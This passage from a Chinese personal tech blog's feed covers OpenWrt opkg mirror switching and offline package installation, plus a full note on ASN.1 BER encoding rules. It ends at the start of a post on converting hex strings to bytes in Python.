&lt;p&gt;这个包管理器也是支持&lt;strong&gt;换源&lt;&#x2F;strong&gt;的，如果某个软件源不好连接，完全可以更换当前使用的软件源，使用luci界面就可以轻松换源，如果非要使用命令行也可以像ubuntu那样直接编辑设置文件来换源&lt;&#x2F;p&gt;
&lt;p&gt;具体操作网上有很多，不再赘述，特别指出善用下面的指令可以快速更换软件源的域名&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sed -i
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;特别地，安装软件包时如果碰到了kmod字样的软件包，就说明这是一个内核驱动包，在安装它的时候很可能会遇到内核版本不正确的情况——因为自行编译的OpenWrt生成时会自动携带一个经过修改的md5码，它往往和已有的内核驱动应该对应的验证码不一致，因此会出现报错，这种情况下在安装指令后面加上如下参数就可以解决问题了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;--force-depends
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果还是不行，甚至出现系统崩溃、变砖的情况，就要考虑是否是自己的软件源选错抑或是自己编译的内核版本不对了&lt;&#x2F;p&gt;
&lt;p&gt;这就是为什么在上面反复强调要注意内核版本与内核驱动&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;snapshot版本和release版本区别&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们经常会看到软件源中的某些项目版本以release或snapshots结尾，一般来说snapshots版本代表正在开发中的版本（快照版本,一般处于开发阶段），release代表比较稳定的发布版本（这次迭代的所有功能都已经完成）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;换源的操作对于嵌入式Linux，或者说OpenWrt来说不是很重要，但是在面对很难处理的软件bug时可以考虑换源来解决，我在处理项目时通过多次换源解决了一些软件包的依赖问题，使用到的源如下：&lt;&#x2F;p&gt;
&lt;p&gt;清华源 src&#x2F;gz barrier_breaker_base http:&#x2F;&#x2F;mirrors.tuna.tsinghua.edu.cn&#x2F;openwrt&#x2F;barrier_breaker&#x2F;14.07&#x2F;ramips&#x2F;mt7621&#x2F;packages&#x2F;base&lt;&#x2F;p&gt;
&lt;p&gt;稳定版官方源 src&#x2F;gz barrier_breaker_base http:&#x2F;&#x2F;downloads.openwrt.org&#x2F;snapshots&#x2F;trunk&#x2F;ramips&#x2F;mt7621&#x2F;packages&#x2F;base&lt;&#x2F;p&gt;
&lt;p&gt;快照版官方源 src&#x2F;gz barrier_breaker_base http:&#x2F;&#x2F;downloads.openwrt.org&#x2F;snapshots&#x2F;trunk&#x2F;ramips&#x2F;mt7621&#x2F;packages&#x2F;base&lt;&#x2F;p&gt;
&lt;p&gt;存档版官方源src&#x2F;gz barrier_breaker_base https:&#x2F;&#x2F;archive.openwrt.org&#x2F;snapshots&#x2F;trunk&#x2F;ramips&#x2F;mt7621&#x2F;packages&#x2F;base&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;主要的思路就是查看自己要安装的软件包都需要什么依赖，然后对照依赖版本寻找对应的md5码，再根据md5码选择支持的官方源&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在换源的时候可能会遇到下面的报错：Package xxx version xxx has no valid architecture, ignoring.&lt;&#x2F;p&gt;
&lt;p&gt;这是因为源指定的系统和设备上刷入的系统md5码不符合，可以直接在&#x2F;etc&#x2F;opkg.conf文件中加入对系统支持的architecture的设置，也就是在文件中添加下面的内容：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;arch all 100
arch &amp;lt;arch类型1&amp;gt; 200
arch &amp;lt;arch类型2&amp;gt; 300
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;arch类型可以在源下面的package目录内配置文件中查找到，我使用的配置如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;arch all 100
arch mips 200
arch ramips 300
arch unkown 400
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;换用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.openwrt.org&#x2F;&quot;&gt;官方archive源&lt;&#x2F;a&gt;也可以帮助解决一些老版本不兼容的问题&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;an-zhuang-ruan-jian-bao&quot;&gt;安装软件包&lt;&#x2F;h4&gt;
&lt;p&gt;只要登陆进luci界面，再让设备联网就可以轻松地进行可视化安装，并且luci界面还会将软件包依赖关系列出来，非常简便；命令行下的安装过程也不算复杂，和ubuntu、centos等发行版的软件安装方法类似&lt;&#x2F;p&gt;
&lt;p&gt;一般我们用opkg安装软件有两种方式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;是连上网络后从官方网站安装&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;  opkg update
  opkg install xxx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;把软件下载到上位机（直接进入软件源网页，通过ftp下载即可），通过winscp或者linux下使用scp指令传到路由器tmp目录，再使用指令&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;opkg install xxx.ipk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果路由暂时上不了网，就无法使用前一种方法，后一种方法又有些麻烦，其实除此之外还可以通过上位机开启ftp&#x2F;http服务，让设备接入来实现“在内网”安装：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在本机上开ftp&#x2F;http&#x2F;其他网络服务&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;修改&#x2F;etc&#x2F;opkgconfig，将第一行的网址（也就是软件源地址）改成上位机服务器放安装包的服务目录&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;从软件源下载需要的安装包到服务目录&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;把软件源的packages文件下载到服务目录&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用指令&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;opkg update
opkg install xxx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装软件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;上面提到了本地安装软件包的方法，所以在这里特别提一下，&lt;strong&gt;实际上安装非常麻烦&lt;&#x2F;strong&gt;，所以尽量不要使用这种方法&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ASN.1笔记——标准编码规则BER - Netsharp - 博客园</title>
        <published>2024-09-05T00:00:00+00:00</published>
        <updated>2024-09-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/asn.1笔记-标准编码规则ber-netsharp-博客园/"/>
        <id>https://vercel.juzhong.asia/obsidian/asn.1笔记-标准编码规则ber-netsharp-博客园/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/asn.1笔记-标准编码规则ber-netsharp-博客园/">&lt;h1 id=&quot;asn-1bi-ji-biao-zhun-bian-ma-gui-ze-ber-netsharp-bo-ke-yuan&quot;&gt;ASN.1笔记——标准编码规则BER - Netsharp - 博客园&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-ji-ben-gui-ze&quot;&gt;1. 基本规则&lt;&#x2F;h2&gt;
&lt;p&gt;BER（BasicEncoding Rules）是ASN.1中最早定义的编码规则，其他编码规则是在BER的基础上添加新的规则构成。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-tag&quot;&gt;1.1 Tag&lt;&#x2F;h3&gt;
&lt;p&gt;Tag是一个或若干个八位组
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;asn1-ber-tag-format.png&quot; alt=&quot;&quot; &#x2F;&gt;
第一个八位组高二位（第七、六位）指明Tag的类型，有四种取值：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;00表示Universal&lt;&#x2F;li&gt;
&lt;li&gt;01表示APPLICATION类型&lt;&#x2F;li&gt;
&lt;li&gt;10表示context-specific&lt;&#x2F;li&gt;
&lt;li&gt;11表示PRIVATE类型&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;第五位指明编码类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;primitive方式编码&lt;&#x2F;li&gt;
&lt;li&gt;constructed方式编码。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;1-1-1-universal-taglei-xing&quot;&gt;1.1.1 Universal Tag类型&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;a-tagvaluezhi-wei-0-30&quot;&gt;a. TagValue值为0-30&lt;&#x2F;h5&gt;
&lt;p&gt;Tagvalue值是基本类型的Tag的值，例如INTEGER的Tag值是2,SEQUENCE型类Tag值是16,下表为ASN.1中定义的UNIVERSAL类Tag&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Tag&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;BER保留&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;BOOLEAN&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;INTEGER&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;BIT STRING&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;OCTET STRING&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;NULL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;OBJECT IDENTIFIER&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;td&gt;ObjectDescripion&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;EXTERNAL,INSTANCE OF&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&lt;&#x2F;td&gt;&lt;td&gt;REAL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;10&lt;&#x2F;td&gt;&lt;td&gt;ENUMERATED&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td&gt;EMBEDDED PDV&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;UFT8String&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;13&lt;&#x2F;td&gt;&lt;td&gt;RELATIVE-OID&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;14&lt;&#x2F;td&gt;&lt;td&gt;保留&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;保留&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;SEQUENCE,SEQUENCE OF&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;17&lt;&#x2F;td&gt;&lt;td&gt;SET,SET OF&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;18&lt;&#x2F;td&gt;&lt;td&gt;NumericString&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;19&lt;&#x2F;td&gt;&lt;td&gt;PrintableString&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;20&lt;&#x2F;td&gt;&lt;td&gt;TeletexString,T61String&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;21&lt;&#x2F;td&gt;&lt;td&gt;VideotexString&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;22&lt;&#x2F;td&gt;&lt;td&gt;IA5String&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;23&lt;&#x2F;td&gt;&lt;td&gt;UTCTime&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;24&lt;&#x2F;td&gt;&lt;td&gt;GeneralizedTime&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;25&lt;&#x2F;td&gt;&lt;td&gt;GraphicString&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;26&lt;&#x2F;td&gt;&lt;td&gt;VisibleString,ISO646String&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;27&lt;&#x2F;td&gt;&lt;td&gt;GeneralString&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;28&lt;&#x2F;td&gt;&lt;td&gt;UniversalString&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;29&lt;&#x2F;td&gt;&lt;td&gt;CHARACTER STRING&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;30&lt;&#x2F;td&gt;&lt;td&gt;BMPString&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;31&lt;&#x2F;td&gt;&lt;td&gt;保留&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;b-tagvalue-30shi&quot;&gt;b. TagValue &amp;gt; 30时&lt;&#x2F;h5&gt;
&lt;p&gt;当TagValue大于30时，多个八位组中编码，第一个八位组后五位全部为1，其余的八位组最高位为1表示后续还有，为0表示Tag结束。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;ber-tag-value-extended-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-1-2-application-taglei-xing&quot;&gt;1.1.2 APPLICATION Tag类型&lt;&#x2F;h4&gt;
&lt;h4 id=&quot;1-1-3-context-specific-taglei-xing&quot;&gt;1.1.3 context-specific Tag类型&lt;&#x2F;h4&gt;
&lt;h4 id=&quot;1-1-4-private-taglei-xing&quot;&gt;1.1.4 PRIVATE Tag类型&lt;&#x2F;h4&gt;
&lt;h4 id=&quot;1-2-length&quot;&gt;1.2 Length&lt;&#x2F;h4&gt;
&lt;p&gt;BER编码中Length表示Value部分所占八位组的个数，有两大类：定长方式（DefiniteForm）和不定长方式（IndefiniteForm）&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-2-1-ding-chang-fang-shi&quot;&gt;1.2.1 定长方式&lt;&#x2F;h4&gt;
&lt;p&gt;定长方式中，按长度是否超过一个八位，又分为短、长两种形式：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-2-bu-ding-chang-fang-shi&quot;&gt;1.2.2 不定长方式&lt;&#x2F;h3&gt;
&lt;p&gt;Length所在八位组固定编码为0x80，但在Value编码结束后以两个0x00结尾。这种方式使得可以在编码没有完全结束的情况下，可以先发送部分消息给对方。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;ber-indefinite-length-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-ge-lei-xing-de-bian-ma&quot;&gt;2. 各类型的编码&lt;&#x2F;h2&gt;
&lt;p&gt;以UNIVERSAL Tag和短型Value为例，讨论各种类型的BER编码，重点关注Value部分。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-boolean&quot;&gt;2.1 BOOLEAN&lt;&#x2F;h3&gt;
&lt;p&gt;只能以primitive方式编码&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-null&quot;&gt;2.2 NULL&lt;&#x2F;h3&gt;
&lt;p&gt;只能以primitive方式编码，且只有一个值：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;ber-null-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-3-integer&quot;&gt;2.3 INTEGER&lt;&#x2F;h3&gt;
&lt;p&gt;只能以primitive方式编码。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-3-1-zheng-shu&quot;&gt;2.3.1 正数&lt;&#x2F;h4&gt;
&lt;p&gt;如果最高比特位为0则直接编码；如果为1，则在最高比特位之前增加一个全0的八位组。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-3-2-fu-shu&quot;&gt;2.3.2 负数&lt;&#x2F;h4&gt;
&lt;p&gt;对于负数，先取绝对值，再取反，最后加1。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-4-enumerated&quot;&gt;2.4 ENUMERATED&lt;&#x2F;h3&gt;
&lt;p&gt;按照整数值的规则编码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-5-real&quot;&gt;2.5 REAL&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;2-6-bit-string&quot;&gt;2.6 BIT STRING&lt;&#x2F;h3&gt;
&lt;p&gt;可以primitive方式编码或者constructed方式编码。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-6-1-primitivefang-shi&quot;&gt;2.6.1 Primitive方式&lt;&#x2F;h4&gt;
&lt;p&gt;例如&#x27;1011011101011&#x27;B的编码
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;ber-bit-string-primitive-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;
V中第一个八位取值0-7，表示在这个V后面补的0的个数
如果BITSTRING的值为空，则编码时，长度为1，补充的八位组为全0。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;asn1-ber-bitstring-primitive.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-6-2-constructedfang-shi&quot;&gt;2.6.2 constructed方式&lt;&#x2F;h4&gt;
&lt;p&gt;&#x27;1011011101011&#x27;B的编码
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;ber-constructed-bitstring-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;
L的最高位是1,说明是不定长方式编码，V中嵌套两个TLV,以Primitive方式表示这个值的高八位和低八位，最后以两个全为0的八位结尾&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-7-octet-string&quot;&gt;2.7 OCTET STRING&lt;&#x2F;h3&gt;
&lt;p&gt;与BITSTRING类似，但是不需要增加表征补充位个数的八位组。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-8-object-identifier&quot;&gt;2.8 OBJECT IDENTIFIER&lt;&#x2F;h3&gt;
&lt;p&gt;只能以primitive方式编码。编码时，第一个八位组采用公式：first_arc* 40+second_arc。如果一个数大于127,就采用多个8位表示，最高位用1表示后续还有octet,用0表示后续没有。
例：对{isomember-body f(250) type-org(1) ft(16) asn1-book(9)}的编码为
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;asn1-oid-encoding-example.png&quot; alt=&quot;&quot; &#x2F;&gt;
注意对250的编码方式，1×128+122。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-10-zi-fu-chuan-he-ri-qi&quot;&gt;2.10 字符串和日期&lt;&#x2F;h3&gt;
&lt;p&gt;和OCTETSTRING编码类似，只是Tag不同。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-11-sequence&quot;&gt;2.11 SEQUENCE&lt;&#x2F;h3&gt;
&lt;p&gt;只能用constructed形式。对每个成员均以TLV方式编码，且顺序要与定义的一致。
v SEQUENCE { age INTEGER, single BOOLEAN } ::={age 24, single TRUE }的编码为：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;ber-sequence-tlv-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;
注意BOOLEAN类型，非0表示真。
忽略扩展符&#x27;...&#x27;，对扩展的内容则按顺序编码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-12-set&quot;&gt;2.12 SET&lt;&#x2F;h3&gt;
&lt;p&gt;与SEQUENCE类似，但是成员顺序有发送者决定。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-13-sequenceof&quot;&gt;2.13 SEQUENCEOF&lt;&#x2F;h3&gt;
&lt;p&gt;SEQUENCEOf的Tag与SEQUENCE相同，编码规则也相同。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-14-setof&quot;&gt;2.14 SETOF&lt;&#x2F;h3&gt;
&lt;p&gt;与SEQUENCEOf类似。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-15-choice&quot;&gt;2.15 CHOICE&lt;&#x2F;h3&gt;
&lt;p&gt;严格说CHOICE类型在编码中并不存在，只是在描述中体现一种关系。编码时，是按照具体被选择的成员编码规则编码的。
例如amousCHOICE { name VisibleString, nobody NULL } ::= name:&quot;Perec&quot;
的编码为：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;asn1-ber-choice-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;
Tag为26,上选定成员的类型的tag。
如果CHOICE类型显式（EXPLICIT）指定了Tag，那么该Tag应当以constructed方式编码。
忽略扩展符&#x27;...&#x27;，对扩展的内容则按顺序编码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-16-tagdui-bian-ma-de-ying-xiang&quot;&gt;2.16 Tag对编码的影响&lt;&#x2F;h3&gt;
&lt;p&gt;(1).如果Tag是隐式的，或者在模块定义中声明了IMPLICITTAGS或者AUTOMATICTAGS,则只有关键字IMPLICIT左侧的Tag才会被编码。如：
v [1]IMPLICIT INTEGER ::= -38的编码为：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;ber-implicit-tag-encoding-example.png&quot; alt=&quot;&quot; &#x2F;&gt;
(2).如果一个类型的Tag是显式（EXPLICIT）的（或者在模块定义中声明了EXPLICITTAGS），则要以constructed方式编码三元组系列。
如v[APPLICATION 0] EXPLICIT INTEGER ::= 38的编码为：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;asn1-explicit-tag-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-17-zi-lei-xing-yue-shu&quot;&gt;2.17 子类型约束&lt;&#x2F;h3&gt;
&lt;p&gt;子类型约束是在BER编码规则之后被引入ASN.1的，在编码规则中不能体现约束。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-18-external&quot;&gt;2.18 EXTERNAL&lt;&#x2F;h3&gt;
&lt;p&gt;该类型不推荐使用，略。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-19-instanceof&quot;&gt;2.19 INSTANCEOF&lt;&#x2F;h3&gt;
&lt;p&gt;定义为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;vINSTANCE OF TYPE-IDENTIFIER ::=
{
  type-id{iso member-body f(250) type-org(1) ft(16) asn1-book(9)
  chapter18(5)integer- type(0)},
  valueINTEGER:5
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;的编码应当和如下一个SEQUENCE类型的值类似：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;{
  direct-reference{iso member-body f(250) type-org(1) ft(16) asn1-book(9)
  chapter18(5)integer-type(0)},
  encodingsingle-ASN1-type:INTEGER:5
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编码为：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;asn1-ber&#x2F;asn1-instanceof-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;
为什么valueINTEGER:5的编码采用constructed方式，处层TLV的Tag为上下文类型，值为0？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-20-embeddedpdv&quot;&gt;2.20 EMBEDDEDPDV&lt;&#x2F;h3&gt;
&lt;p&gt;EMBEDDEDPDV的编码和其等效的SEQUENCE结构编码类似。其嵌入部分的编码，应该是遵循identification成员指定的规则。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-21-characterstring&quot;&gt;2.21 CHARACTERSTRING&lt;&#x2F;h3&gt;
&lt;p&gt;CHARACTERSTRING的编码和其等效的SEQUENCE结构编码类似。其嵌入字符串部分的编码，应该是遵循identification成员指定的规则。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-22-informationobjects-and-object-sets&quot;&gt;2.22 InformationObjects and Object Sets&lt;&#x2F;h3&gt;
&lt;p&gt;信息对象和对象集合永远都不编码。如前所述，传递他们所包含信息的途径是在值定义或者类型定义中引用他们。这样的结果，不是在编码中出现了这些信息，而是ASN.1编译器在生成编解码器时，会按照这些信息生成相应的约束表。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-23-valueset&quot;&gt;2.23 ValueSet&lt;&#x2F;h3&gt;
&lt;p&gt;值集合的编码按照对应类型的编码规则进行。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-berbian-ma-gui-ze-de-shu-xing&quot;&gt;3. BER编码规则的属性&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;BER编码规则是机器无关&lt;&#x2F;li&gt;
&lt;li&gt;BER的传输语法是十分冗长。T和L很多情况下都是可以省略，但是这种冗余信息能很好的保藏抽象语法结构。&lt;&#x2F;li&gt;
&lt;li&gt;BER传输语法能容易升级而且向上兼容。如每个类型都可以用CHOICE来代替&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;参考：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;sever2012&#x2F;article&#x2F;details&#x2F;7698297&quot;&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;sever2012&#x2F;article&#x2F;details&#x2F;7698297&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Convert Hex String to Bytes in Python</title>
        <published>2024-09-05T00:00:00+00:00</published>
        <updated>2024-09-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/convert-hex-string-to-bytes-in-python/"/>
        <id>https://vercel.juzhong.asia/obsidian/convert-hex-string-to-bytes-in-python/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/convert-hex-string-to-bytes-in-python/">&lt;h1 id=&quot;convert-hex-string-to-bytes-in-python&quot;&gt;Convert Hex String to Bytes in Python&lt;&#x2F;h1&gt;
&lt;p&gt;Hexadecimal strings are a common representation of binary data, especially in the realm of low-level programming and data manipulation. In Python, converting a hex string to bytes is a frequent task, and there are various methods to achieve this. In this article, we will explore some simple and commonly used methods for converting a hex string to bytes in Python.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;python-convert-hex-string-to-bytes&quot;&gt;Python Convert Hex String To Bytes&lt;&#x2F;h2&gt;
